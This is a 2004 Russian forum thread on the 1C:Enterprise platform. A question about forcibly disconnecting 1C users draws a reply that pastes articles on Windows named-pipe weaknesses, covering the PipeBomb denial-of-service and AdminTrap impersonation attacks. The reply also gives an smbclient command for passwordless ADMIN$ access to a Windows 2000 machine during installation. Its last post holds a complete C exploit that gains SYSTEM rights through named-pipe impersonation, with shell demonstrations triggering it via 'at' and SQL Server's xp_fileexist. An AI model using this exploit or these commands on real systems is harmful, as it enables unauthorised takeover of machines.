Вход | Регистрация

1С:Предприятие ::

Метки:

Для Demiurg-а

Я
   427
 
31.05.04 - 22:33
В продолжение закрытой ветки (и кому не терпится...)



А если хорошо программируешь на системном уровне и знаешь кишки системы - вот реальная задача, реализовав которую ты многих избавишь от гемороя...

При эксплуатации многих систем возникает необходимость принудительного отключения от БД (разрыва соединения с сервером)... Просто командой кильнуть процесс - не катит... программа может отвалиться некорректно... В частности, с 1С так и происходит при килянии - потом она просит переиндексацию... Но в системе (по крайней мере в 2000 сервере этот механизм есть... Когда киляется программа 1С по инициативе сервера... И переиндексации потом не требуется... т.е. сама программа нормально завершает работу...

Все выгонялки из 1С написаны с использованием ОбработкаОжидания и проверки условия на выход ...(TimeWait)....
Если программа ждет ответа в модальном окне (ввод пароля, запрос из модально открытой обработки) - ОбработкаОжидания не работает... И нельзя безболезненно кильнуть 1С. Особенно неприятно, когда машина с запущенной прогой стоит в опечатанном кабинете...

Если взять сервер 2000 с МСДН диска (ознакомительный, на 10 подключений)... то при попытке подключения 11 юзера он киляет по какому то правилу одного из ранее вошедших... Причем похоже, просто посылает программе запрос и она даже в состоянии ожидания модального ввода его отрабатывает... Я запускал 10 1С с модальным окном, запускал 11 машину - и одно из предыдущих подключений отваливалось... Корректно...

Вот если ты раскрутишь это - народ будет пивом поить много ....
 
  Рекламное место пустует
   Волшебник
 
1 - 31.05.04 - 22:40
(тема должна отражать суть сообщения)
   BorisG
 
2 - 31.05.04 - 23:36
(1) А она и отражает ;-))
   Demiurg
 
3 - 01.06.04 - 21:53
извини, что задержался, цитирую:
---
В статье показана недостаточность защиты сетевых соединений между рабочими станциями и серверами Windows NT, организованных посредством интерфейса NPFS. Этот интерфейс имеет ряд слабостей, позволяющих осуществлять различные удаленные атаки. Предложены две атаки, одна из которых относится к классу "отказ в обслуживании", а другая позволяет получать обычному пользователю права администратора путем перехвата административных сетевых соединений. Рассматриваются возможности усиления защиты NPFS-соединений в Windows NT.

Что такое NPFS.

Аббревиатура NPFS расшифровывается как Named Pipe File System. Несмотря на то, что в этом названии присутствуют слова "file system", назвать NPFS файловой системой можно только с очень большой натяжкой. Драйвер npfs.sys, хотя и работает в соответствии со спецификациями драйвера файловой системы, не управляет никакими файлами. Вместо этого npfs.sys управляет так называемыми каналами (named pipes). Вместе с файлами, дисковыми директориями, устройствами и почтовыми ящиками (mailslots) каналы относятся к классу файловых объектов. Большинство функций, предназначенных для работы с файлами (в том числе CreateFile, ReadFile и WriteFile), работают и с каналами.

Канал можно представить себе как некую виртуальную трубу, по которой перетекает информация от одного процесса к другому. Информация может передаваться как в одну сторону (однонаправленный канал), так и в обе стороны (двунаправленный или дуплексный канал). Хотя каналы Windows NT очень похожи на аналогичные объекты UNIX, техническая реализация каналов в Windows NT и UNIX существенно различается.

Создание канала происходит следующим образом.

Процесс-сервер создает канал с помощью функции программного интерфейса Win32 CreateNamedPipe. Канал может быть создан только на локальном компьютере.
Процесс-сервер активизирует канал с помощью функции ConnectNamedPipe. Теперь к каналу могут подключаться клиенты.
Процесс-клиент подключается к каналу посредством вызова функции CreateFile. Параметры функции отличаются от обычных только именем открываемого объекта, которое имеет вид \\computer_name\pipe\pipe_name. Вместо имени компьютера может использоваться символ '.' (точка), в этом случае речь идет о локальном компьютере.
После выполнения перечисленных действий процесс-клиент и процесс-сервер могут обмениваться информацией посредством канала с помощью функций ReadFile и WriteFile. Все, что один участник информационного обмена записывает в канал функцией WriteFile, может быть прочтено другим участником посредством вызова функции ReadFile.

Клиент может отключиться от канала в любой момент с помощью функции CloseHandle. Сервер может отключить клиента в любой момент с помощью функции DisconnectNamedPipe. После прекращения связи с клиентом сервер может повторно использовать канал с помощью повторного вызова функции ConnectNamedPipe.

С помощью одного и того же канала сервер может одновременно обслуживать нескольких клиентов. Для этого сервер должен создать несколько экземпляров канала, вызвав функцию CreateNamedPipe нужное количество раз, при этом в каждом вызове CreateNamedPipe должно быть указано одно и то же имя канала. Если канал имеет несколько экземпляров, клиент может быть подключен к любому свободному (не занятому другим клиентом) экземпляру этого канала. Как показывают эксперименты, клиент всегда подключается к тому экземпляру канала, который был создан или освобожден раньше других. Другими словами, свободные экземпляры канала подключаются к клиентам в порядке "живой" очереди.

Интерфейс NPFS имеет много других возможностей, поддерживаются асинхронная передача информации, транзакции и многое другое. Полное описание NPFS выходит за пределы настоящей статьи.

В целом интерфейс NPFS весьма удобен для обмена информацией между процессами, особенно в тех случаях, когда процесс-клиент и процесс-сервер выполняются на разных компьютерах одной локальной сети. NPFS широко используется операционной системой Windows NT для своих нужд. С помощью NPFS решается множество задач, некоторые из которых играют важную роль в обеспечении безопасности операционной системы. Например, каналы lsass, lsarpc и LANMAN используются при передаче по сети имени и пароля пользователя при сквозной аутентификации в домене Windows NT. Также стоит отметить, что удаленный вызов процедур (RPC) в Windows NT реализован как надстройка над NPFS.

Некоторые странности NPFS.

До тех пор, пока речь не идет о защите информации, NPFS выглядит просто прекрасно. Но стоит только начать исследовать этот интерфейс на предмет устойчивости к злонамеренным воздействиям прикладных программ, обнаруживается множество удивительных фактов.

Пусть некий процесс создал экземпляр некоторого канала. Другой процесс пытается создать экземпляр того же самого канала, вызывая CreateNamedPipe с тем же именем создаваемого канала. Как это ни странно, второй экземпляр канала будет успешно создан. Более того, если второй процесс вызовет теперь ConnectNamedPipe, экземпляр канала, созданный вторым процессом, сможет обслуживать клиентов.

Итак, в системе появляются два объекта, имеющих одинаковое имя, но обслуживаемых разными процессами. Когда клиент подключается к каналу, операционная система предоставляет ему первый экземпляр, поскольку он был создан раньше. Но когда к тому же каналу захочет подключиться другой клиент, он будет подключен ко второму экземпляру. При этом клиент никакими средствами не сможет определить, какой процесс обслуживает его запрос. Получается, что клиент хотел получить услугу от одного процесса, а на самом деле эту услугу ему предоставляет совсем другой процесс. Это выглядит очень странно. Представьте себе, что Вы открываете файл на жестком диске, а операционная система лезет в Internet. При этом, когда файл открыт, Вы никак не сможете узнать, откуда был взят файл, который Вы открыли.

Особенно интересно, что процессы из вышеприведенного примера могут быть запущены разными пользователями. Например, пользователь guest, локально работающий с контроллером домена, может создать экземпляр канала lsass, и, дождавшись подключения клиента, вмешаться в процедуру сетевой аутентификации пользователя.

Другой интересный эффект. Каналы, как и любые другие объекты Windows NT, могут иметь дескриптор защиты (security descriptor), описывающий то, какие пользователи имеют какие права на доступ к данному объекту. Мне так и не удалось найти простой метод, позволяющий получить дескриптор защиты канала по его имени (конечно, можно это сделать с помощью драйвера фиктивного устройства, но это слишком трудоемко). Эксперименты показывают, что любой канал, даже системный, даже такой важный и ответственный, как lsass, может быть открыт любым пользователем. Все, что требуется от пользователя - это аутентифицироваться под любым именем на компьютере, на котором выполняется процесс, обслуживающий данный канал.

Экспериментально установлено, что пользователь guest с помощью обычной прикладной программы может открывать системный канал lsass и записывать туда все, что угодно. Сервер LSA воспримет эту информацию и попытается ее интерпретировать в терминах протоколов сетевой аутентификации.

Поскольку средства манипулирования атрибутами защиты каналов не только отсутствуют в стандартных утилитах администрирования, но и не описаны в документации MSDN, ни о какой регистрации доступа пользователей к каналам не может быть и речи - администратор просто не имеет средств, позволяющих ему присваивать каналам системные списки контроля доступа.

Из всего вышеперечисленного непосредственно следует, что NPFS представляет собой прекрасный объект для удаленных атак. Две возможные (но далеко не единственно возможные) атаки рассмотрены ниже.

Атака PipeBomb.

Что случится, если обычная прикладная программа, запущенная обычным пользователем, начнет в вечном цикле открывать на запись все новые и новые экземпляры некоторого системного канала и записывать в них огромные объемы заведомо бессмысленной информации? Один из возможных вариантов развития событий заключается в том, что через короткий промежуток времени все свободные экземпляры канала будут заняты, и сетевая служба, использующая атакуемый канал, будет отключена. Однако, как показывают эксперименты, более вероятна другая картина.

Обычно, когда процесс-сервер понимает, что все экземпляры его канала заняты, этот процесс начинает создавать новые экземпляры канала. Таким образом, чем больше экземпляров канала открывает процесс-клиент, тем больше экземпляров канала создает процесс-сервер. Как правило, каждый экземпляр канала обслуживается отдельным потоком (thread). Буферы для хранения информации, передаваемой по каналу, занимают оперативную память. По мере того, как процесс-клиент открывает новые экземпляры канала, процесс-сервер создает новые потоки. Когда процесс-клиент записывает в открытые им экземпляры канала бессмысленную информацию, эта информация передается процессу-серверу и засоряет его адресное пространство.

Все перечисленные эффекты приводят к тому, что загрузка процессора компьютера, на котором выполняется процесс-сервер, стабильно держится на уровне 100% (при этом около 90% времени процессор обслуживает процессы с базовым приоритетом High), а объем свободной оперативной памяти этого компьютера уменьшается со скоростью от 1 до 3 мегабайт в секунду. Когда и физическая, и виртуальная памяти компьютера переполняются, и начинается рост файла виртуальной памяти, эта скорость несколько уменьшается. Уже через минуту атакованный компьютер становится практически неработоспособен (окно Explorer прорисовывается несколько минут), а через 5-10 минут перегруженность операционной системы достигает такой степени, что команда Shutdown выполняется 3-6 часов.

Эта атака интересна тем, что использует не слабости протокола TCP/IP, в общем-то, чуждого для Windows NT, а слабости "родного" программного обеспечения этой операционной системы. Атака одинаково эффективно работает для любого сервис-пака Windows NT 4.0, включая четвертый, поражаются и рабочие станции, и серверы. Не исключено, что эту атаку можно применять и в Internet, инкапсулируя пакеты SMB в пакеты TCP/IP (сетевая составляющая интерфейса NPFS организована как надстройка над протоколом SMB).

Существует программа, реализующая данную атаку.

Напоследок об авторских правах в отношении данного параграфа. Первоначальная формулировка идеи атаки PipeBomb принадлежит Петру Девянину, детальная проработка идеи моя, программированием занимался Сергей Заливакин.

Атака AdminTrap.

Как уже говорилось выше, прикладная программа, выполняющаяся под управлением Windows NT с полномочиями обычного пользователя, может создать экземпляр канала, имеющий такое же имя, как и один из системных каналов. При подключении клиента к такому каналу клиент может подключиться как к "родному" экземпляру, обслуживаемому одним из системных процессов, так и к "троянскому" экземпляру, созданному и обслуживаемому прикладной программой.

В программном интерфейсе Win32 существует функция ImpersonateNamedPipeClient, выполняющая олицетворение (impersonation) клиента канала. Олицетворение клиента канала заключается в том, что потоку, вызвавшему данную функцию, назначается маркер доступа (access token) клиента экземпляра канала, handle серверного конца которого указан в качестве параметра функции. При этом поток процесса-сервера, обслуживающий данный экземпляр канала, получает полномочия пользователя, который подключился к этому экземпляру канала в качестве клиента. Обычно данная функция используется системными процессами-серверами для временного понижения полномочий, но если полномочия клиента превышают полномочия сервера, наблюдается обратная ситуация - после выполнения олицетворения полномочия сервера повышаются. Для того чтобы функция ImpersonateNamedPipeClient нормально выполнилась, необходимо, чтобы маркер доступа клиентского конца экземпляра канала представлял собой маркер олицетворения (impersonation token). Если процесс-клиент и процесс-сервер выполняются на разных компьютерах сети, это всегда имеет место. Никаких специальных привилегий для вызова ImpersonateNamedPipeClient не требуется.

Если прикладная программа, выполняющаяся с правами обычного пользователя, создаст экземпляр канала, дождется подключения клиента и выполнит олицетворение, эта программа получит полномочия клиента, которые могут превышать изначальные полномочия программы. Эта идея была положена в основу атаки AdminTrap.

Программа AdminTrap создает троянский экземпляр одного из системных каналов и ждет, когда к нему подключится клиент. Затем AdminTrap выполняет олицетворение клиента. Если олицетворение прошло успешно, один из потоков программы AdminTrap получает полномочия пользователя-клиента троянского экземпляра канала. В Windows NT интерфейс NPFS в основном используется для обмена информацией между операционными системами компьютеров локальной сети и удаленного администрирования, прикладные программы используют каналы редко. Поэтому вероятность того, что программа AdminTrap после вызова ImpersonateNamedPipeClient получит полномочия администратора, весьма велика, а при наличии этих полномочий программа может оказывать на операционную систему локального компьютера практически любые негативные воздействия. Например, подобная программа может использоваться для внедрения в систему программных закладок.

Традиционно, демонстрационные версии программ, предоставляющих обычному пользователю полномочия администратора, запускают в атакуемой системе командный интерпретатор, выполняющийся с правами администратора. Для описываемой атаки это невозможно, поскольку в Windows NT при выполнении функции CreateProcess новому процессу назначается маркер доступа процесса-родителя, а не маркер доступа потока, из которого была вызвана функция CreateProcess. Таким образом, полномочия, полученные программой, реализующей данную атаку, не могут быть унаследованы порожденными ей процессами.

Поэтому для демонстрации того, что программа AdminTrap действительно получает полномочия пользователя, соединение с которым она перехватила, была выбрана несколько нестандартная процедура. Описываемая версия программы, получив полномочия пользователя-клиента, пытается зарегистрировать в операционной системе пользователя-администратора по имени AdminTrap. Для предотвращения использования программы AdminTrap в противозаконных целях в нее встроен ряд блокировок, в том числе:

пароль пользователя AdminTrap не описан ни в настоящей статье, ни в файле ReadMe.txt, прилагаемом к программе;
пользователь AdminTrap создается заблокированным (disabled). Снять эту блокировку может только администратор;
в качестве полного имени пользователь AdminTrap получает информацию о том, кто, с какого компьютера и в какое время провел атаку.
Таким образом, учетная запись пользователя AdminTrap, созданная программой, не может использоваться для несанкционированного доступа к ресурсам операционной системы без дополнительных действий, выполнить которые может только администратор. Конечно, опытный хакер легко сможет снять все перечисленные (и неперечисленные) блокировки. Но, как показывает опыт, опытные хакеры обычно не занимаются подобной деятельностью. Как бы то ни было, не нужно писать мне письма с просьбой отключить эти блокировки - это бесполезно.

При программной реализации вышеописанной атаки имела место одна техническая проблема. Если к моменту создания троянского экземпляра канала в системе существует N легальных экземпляров этого канала, только N+1-й клиент канала сможет подключиться к троянскому экземпляру. Обычно системные процессы-серверы создают от двух до десяти экземпляров каждого обслуживаемого канала, поэтому, если не предпринять специальных мер, ожидание подключения клиента к троянскому экземпляру канала будет довольно долгим. В программе AdminTrap эта проблема решена следующим образом. Перед созданием троянского экземпляра канала программа подключается в качестве клиента ко всем легальным экземплярам атакуемого канала. Троянский экземпляр канала создается только тогда, когда все легальные экземпляры канала заняты и процесс-сервер, обслуживающий канал, настолько перегружен, что не может создавать новые экземпляры с той скоростью, с которой они захватываются программой AdminTrap. Другими словами, на операционную систему оказывается строго дозированное воздействие PipeBomb. Необходимая интенсивность воздействия определяется программой самостоятельно путем анализа времени реакции процесса-сервера на запросы клиентов.

Программа AdminTrap нормально функционирует под управлением всех существующих на сегодняшний день сервис-паков Windows NT 4.0. Мне удавалось перехватывать следующие сетевые соединения:

winreg - удаленное управление реестром, списком сервисов, репликацией и административными оповещениями (alerts); удаленный просмотр системных журналов; удаленное диагностирование и оценка производительности;
spoolss - удаленное управление принтером.
Вероятно, существуют и другие сетевые соединения, которые могут быть перехвачены программой AdminTrap. Не исключено, что в некоторых системах централизованного управления безопасностью сети (System Management Server, Secret Net и т.д.) NPFS используется системным программным обеспечением для установки административных соединений. При этом установка административных соединений происходит без непосредственного участия пользователя-администратора, что упрощает перехват этих соединений - система сканирует сеть каждые несколько минут и не нужно ждать, пока администратор соизволит обратиться к данному компьютеру сети.

Как с этим бороться.

Как было показано выше, в реализации интерфейса NPFS в Windows NT имеются слабости, позволяющие злоумышленникам осуществлять различные атаки операционной системы. К этим слабостям относятся следующие:

Возможно создание двух и более объектов, одноименных, но не идентичных функционально.
Отсутствуют средства, позволяющие определить, каким процессом обслуживается экземпляр канала.
Атрибуты защиты системных каналов, принятые по умолчанию, предоставляют пользователям права доступа, заведомо превышающие потребности пользователей.
Рассмотрим несколько способов преодоления вышеописанных слабостей.

Возможно создание двух и более объектов, одноименных, но не идентичных функционально.

Фактически должно быть запрещено создание процессом экземпляра канала, для которого уже существует экземпляр, созданный другим процессом. Это может быть сделано с помощью драйвера фиктивного устройства, фильтрующего информационные потоки, проходящие через драйвер npfs.sys. Более простые способы решения данной проблемы вряд ли приведут к успеху.

Отсутствуют средства, позволяющие определить, каким процессом обслуживается экземпляр канала.

Эта проблема также вряд ли может быть решена без использования драйвера фиктивного устройства. Этот драйвер должен перехватывать системные вызовы CreateNamedPipe и сохранять в специальном буфере информацию о том, каким процессом обслуживается каждый существующий в системе канал. Доступ к такому буферу может быть реализован посредством стандартного интерфейса управления устройствами.

Атрибуты защиты системных каналов, принятые по умолчанию, предоставляют пользователям права доступа, заведомо превышающие потребности пользователей.

Стандартный метод решения подобных проблем заключается в следующем. Создается сервис, который автоматически загружается при старте операционной системы, открывает все объекты, защита которых по умолчанию неудовлетворительна, и устанавливает этим объектам новые атрибуты защиты. Подобный метод описан, например, в [7], где он применяется для изменения атрибутов защиты секций, в которых хранится код часто используемых системных библиотек (KnownDlls). К сожалению, для решения проблемы с защитой каналов данный метод неприменим.

Для того чтобы изменить атрибуты защиты какого-либо объекта Windows NT, вначале надо открыть этот объект с правом доступа WRITE_DAC (если нужно получить старые атрибуты защиты объекта, дополнительно потребуется право READ_CONTROL). Microsoft рекомендует использовать для изменения атрибутов защиты каналов функции GetFileSecurity и SetFileSecurity (см. [5]), однако эти функции при попытке их применения к каналам всегда сообщают об ошибке ERROR_PIPE_BUSY.

Существует и обходной путь. В Windows NT имеются две универсальные (и, как это обычно бывает, недокументированные) функции, позволяющие управлять защитой любых объектов. Это функции NtQuerySecurityObject и NtSetSecurityObject. Функция NtQuerySecurityObject позволяет получить атрибуты защиты любого объекта, handle которого передан функции в качестве параметра, функция NtSetSecurityObject - установить новые атрибуты защиты любому объекту. Если получить каким то образом handle экземпляра канала, открытый с правами доступа READ_CONTROL и WRITE_DAC, то с помощью двух вышеназванных функций можно установить этому экземпляру канала любые атрибуты защиты.

Проблема заключается в том, чтобы открыть каждый экземпляр каждого системного канала с необходимыми правами доступа. Единственный способ открытия уже существующего канала, допустимый в Windows NT, заключается в подключении клиента к одному из экземпляров канала. Однако, как уже упоминалось, большинство системных процессов-серверов Windows NT при подключении клиентов к каналу создают новые экземпляры того же канала. Получается, что чем больше объектов получают корректные.
---
о написании кода, писать просто "на слабо" не мотивирует
   Demiurg
 
4 - 01.06.04 - 22:19
Да, навеяло:
---
Windows 2000 уже на стадии инсталяции становится уязвимой для удалённого вторжения. Во время инсталляционного процесса кто угодно может подключиться к совместному ресурсу ADMIN$ как ADMINISTRATOR без пароля.
Проверить данный факт весьма просто:
% ./smbclient \\\\WINDOWS2000\\ADMIN$ -I xxx.yyy.zzz.ttt -U 'administrator' -d 0 -N
Unable to open configuration file "/usr/local/samba/lib/smb.conf"!
pm_process retuned false
Can't load /usr/local/samba/lib/smb.conf - run testparm to debug it
Domain=[GROAR] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>
(smbclient - часть package SAMBA (http://www.samba.org).
   Demiurg
 
5 - 01.06.04 - 22:24
и тоже полезная статейка на "подумать"
---
Использование именованых каналов для локального повышения привилегий

Операционные  системы,  созданные  коропорацией  Microsoft  за последние
несколько  лет, основаны  на ядре  Windows NT. Это решение, положительно
повлияло на безопасность выпускаемых ОС, относительно удаленных, а также
локальных атак. Но тем не менее остаются моменты,  позволяющие  получить
права  системы  на  атакуемом  компьютере. В  основном  это переполнения
стека,  Heap  области,  а  также  другие  уязвимости,  имеющие  место  в
операционных  системах  других  производителей.  Но  не стоит забывать о
ошибках,  которые   могут  возникнуть   в    процессе    непредвиденного
использования  системных  фукнкий. Такого рода ошибки возникают время от
времени и специфичны для каждой ОС. Windows не  исключение, что уже было
не раз доказанно.

Специфичесские ошибки,  чаще всего возникают в процессе работы локальных
пользователей. Это не есть факт,  просто  локальный  пользователь  может
воспользоваться намного  большим  колличеством  функций, предоставляемых
Windows, нежели удаленный.  Таким  образом мы утверждаем, что существует
возможность повышения привилегий локального пользователя,  которой можно
воспользоватся. Говоря о повышении привилегий, мы имееем ввиду получения
прав системы, чтобы  не  иметь  никаких  ограничений  вообще.  На данный
момент существует несколько способов добится желаемого, я в свою очередь
расскажу о наиболее новом из них.

Согласно MSDN, чтобы  исполнить приложение от имени чужой учетной записи
следует   использовать  функции  LogonUser()  и   CreateProcessAsUser().
LogonUser() требует в качестве параметров логин и пароль учетной записи,
в правах которой  мы нуждаемся. Задачей  LogonUser()  является установка
прав доступа  SE_ASSIGNPRIMARYTOKEN_NAME  и  SE_INCREASE_QUOTA_NAME  для
дескриптора   маркера  пользователя.  Эти  права  нам  необходимы  чтобы
использовать  функцию  CreateProcessAsUser().  Такими  правами  обладают
исключительно   системные  процессы,   поэтому    даже   учетная  запись
'Administrator',  не  может   успешно  выполнить  CreateProcessAsUser().
Следовательно  чтобы мы смогли исполнить приложение (например cmd.exe) с
правами системы,  нам  уже  надо  их  иметь. Но поскольку нам не извесны
логин и пароль привилегиированного пользователя, то требуется найти иное
решение.

В данной  статье  пойдет  речь  о получении  привилегий  'LocalSystem' с
помощью функции открытия файла.  Дело  в  том,  что  для  открытия файла
используется функция CreateFile(). Ее формат следующий:

 HANDLE CreateFile(
         LPCTSTR               lpFileName, 
         DWORD                 dwDesiredAccess, 
         DWORD                 dwShareMode, 
         LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
         DWORD                dwCreationDisposition, 
         DWORD                    dwFlagsAndAttributes, 
         HANDLE            hTemplateFile 
         ); 

Таким образом, открытие файла происходит следующим образом:

   HANDLE hFile;
   hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Но для тех  кто  хороше знаком с организацией работы Windows, не секрет,
что данная  функция  имеет  более  широкое  применение в работе ОС. С ее
помощью  создаются или открываются файлы, директории, физичесские диски,
коммуникационные  ресурсы,  mailslot'ы  и  pipe'ы.  В  данном случае нас
интересует только последнее, а именно pipe(канал).

Каналы  используются  для  пересылки  данных  в  одном направлении между
дочерним и родительским процессами или между двумя дочерними процессами.
Операции чтения/записи в канал похожи на подобные  операции при работе с
файлами.

Поименованные Каналы используются для двустороннего обмена данными между
процессом-сервером и одним  или несколькими  процессами-клиентами. Как и
анонимные каналы, они используют  файлоподобный интерфейс, но, в отличие
от первых, пригодны также для обмена данными по сети.

Процедура создания поименованых каналов имеет такой вид:

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                         PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);


В качестве названия именованого  канала  можно указать любое имя, но при
этом следует придерживатся определенного формата. Так, вполне приемлемым
именем будет "\\.\pipe\GetSys". В ОС  Windows  последовательность "\\.\"
автоматически добавляется к  имени  открываемого  файла. Так при попытке
открытия  файла "C:\boot.ini"  система  попытается  обратиться  к  файлу
"\\.\C:\boot.ini".Этот формат также может быть использован при обращении
к файлам совмесно с UNC стандартом.

Эти знания  дают  нам  возможность  предполагать,  что  вполне  возможно
заставить приложение работающее с  пользовательским  файлом, обратится к
именованному   каналу.   Так,   если   имя   созданного    нами   канала
"\\.\pipe\GetSys",     то     следует       обращатся       к      файлу
"\\ComputerName\pipe\GetSys". А это, в свою  очередь,  дает  нам намного
больше возможностей для манипулирования маркером доступа.

impersonation token - маркер доступа, позволяющий захватить информацию о
правах клиента. Иными словами - это возможность  сервера  исполнить роль
клиента в системе  безопасности.  Сервером  в  данном  случае  выступает
именованный канал, по этому  он  может  прадставится  клиентом,  который
пытался  открыть файл. Это  возможно, поскольку  мы  имеем  относительно
клиента права SecurityImpersonation, а если быть точнее, то получаем их.
Если приложение имело системные права в системе, мы получаем возможность
изменения реестра,  управления  процессами  и  памятью, а  также  другие
возможности, ограниченные для обычного пользователя.

Реализовать такую атаку на  практике  достаточно  просто.  При написании
программы, использующую  данную  уязвимость,  следует  пойти  по  такому
сценарию:

[1] Создать именованый канал

      После его создания, следует подождать подключения  клиента. Чтобы
      получить относительно него наивысшиую ступень доверия.

[2] Представиться клиентом

      Поскольку предполагается,  что  приложение-клиент имеет системные
      права, мы их получаем тоже.

[3] Получить все необходимые права

      Вообщето нам нужны только:

      - SE_ASSIGNPRIMARYTOKEN_NAME
       - SE_INCREASE_QUOTA_NAME

       - TOKEN_ALL_ACCESS
       - TOKEN_DUBLICATE

      Они необходимы  нам, в  основном,   для    использования  функции
      CreateProcessAsUser().Чтобы получить их, необходимо создать новый
      маркер доступа с правами TOKEN_ALL_ACCESS.Благо мы имеем права на
      выполнение данного действия,поскольку  в уже  получили  системные
      привилегии клиента.

[4] Исполнить необходимый програмный код

      Это может быть чтение  данных  с  реестра,  установка  HOOK'ов, а
      также исполнение произвольных команд с правами системы.  Я щитаю,
      что наиболее интересным является последнее, поскольку мы получаем
      возможность   исполнения,     уже   готового,   приложения    для
      специфичесских потребностей.

Как уже говорилось исполнить  приложение,  сохранив  за  ним  привилегии
системы,  можно   используя   функцию  CreateProcessAsUser().  Мы  снова
вернулись к началу данного материала, но на этот раз  у нас уже есть все
необходимые привилегии. Права 'LocalSystem' у нас в руках.

Относительно  реализации  данного метода повышения привилегий, не должно
возникнуть никаких  проблем.  Но всеже  мы рассмотрим  конкретный пример
эксплоита от wirepair(at)sh0dan.org, который в  свою  очередь основан на
работе maceo(at)dogmile.com.
 #include <stdio.h>

 #include <windows.h>


int main(int argc, char **argv)
 {
    char szPipe[64];
    DWORD dwNumber = 0;
    DWORD dwType = REG_DWORD;
    DWORD dwSize = sizeof(DWORD);
    DWORD dw = GetLastError();
    HANDLE hToken, hToken2;
    PGENERIC_MAPPING pGeneric;
    SECURITY_ATTRIBUTES sa;
    DWORD dwAccessDesired;
    PACL pACL = NULL;
    PSECURITY_DESCRIPTOR pSD = NULL;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    if (argc != 2) {
           fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
           return 1;
    }
 
    memset(&si,0,sizeof(si));
    sprintf(szPipe, "\\\\.\\pipe\\GetSys");
 
// create named pipe"\\.\pipe\GetSys"


    HANDLE hPipe = 0;
    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n", szPipe);
     return 2;
   }

    printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application

// privileges


   pSD = (PSECURITY_DESCRIPTOR) 
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); 
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");

// wait for client connect

   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate...\n");

// impersonate client


   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token...\n");

 // obtain maximum rights with TOKEN_ALL_ACCESS


   if (!OpenThreadToken(GetCurrentThread(), 
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u\n", dw);
                     CloseHandle(hToken);
                     return 4;
         }
  }
   
   printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege

   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation, 
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token\n");
          printf("GetLastError: %u\n", dw);
          return 5;
   }

// fill  pGeneric structure

   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s\n", szUser);
   
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop            = NULL;
   si.dwFlags            = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s\n", argv[1]);  

// create new process as user


   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, 
        &sa,true, NORMAL_PRIORITY_CLASS | 
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d\n", GetLastError());
   }

// wait process to complete and exit


   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
  
   return 0;
}

Данная  уязвимость,  предоставляет  нам  возможность  получить системные
привилегии на компьютере. Единственное необходимое условие, для успешной
атаки, это чтобы системный  процесс обратился  к  именному  каналу.  Это
условие  легко   воссоздать,  используя  сервисы  работающие  с  правами
системы. Следующий пример продимонстрирует это:

[shell 1]
 >pipe cmd.exe

Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]
 >time /T
 18:15

 >at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

После чего, запускается  новый  экземпляр  консоли(cmd.exe),  с  правами
системы. Получается,  что  обычный   пользователь,   может  без  проблем
получить права системы. Воссоздать подобную ситуацию достаточно просто и
не должно потребовать от вас большего колличества усилий. Главное, чтобы
существовал сервис, который  обращается к некоторым файлам. К  сожалению
коммандой АТ может воспользоватся только администратор, и поэтому она не
подходит в реальных условиях.

На  практике,  данная   уязвимость   может    использоваться   локальным
пользователем, для повышения  привилегий   в   системе  с  установленным
Microsoft  SQL Server.  Он  запускается  с  правами  системы,  но  может
использоваться  непривилегиированными  пользователями.  Уязвимость  была
найдена @stake,  и  связана  с  коммандой  xp_fileexist.  Эта  комманда,
предназначена  для  проверки существования файла,  а  поэтому  позволяет
проэксплуатировать  данную  уязвимость.  Сценарий  атаки  очень похож на
прошлый:

[shell 1]
 >pipe cmd.exe

Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]
 >isql -U user
Password:
 > xp_fileexist '\\ComputerName\pipe\GetSys'
 > go
  File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

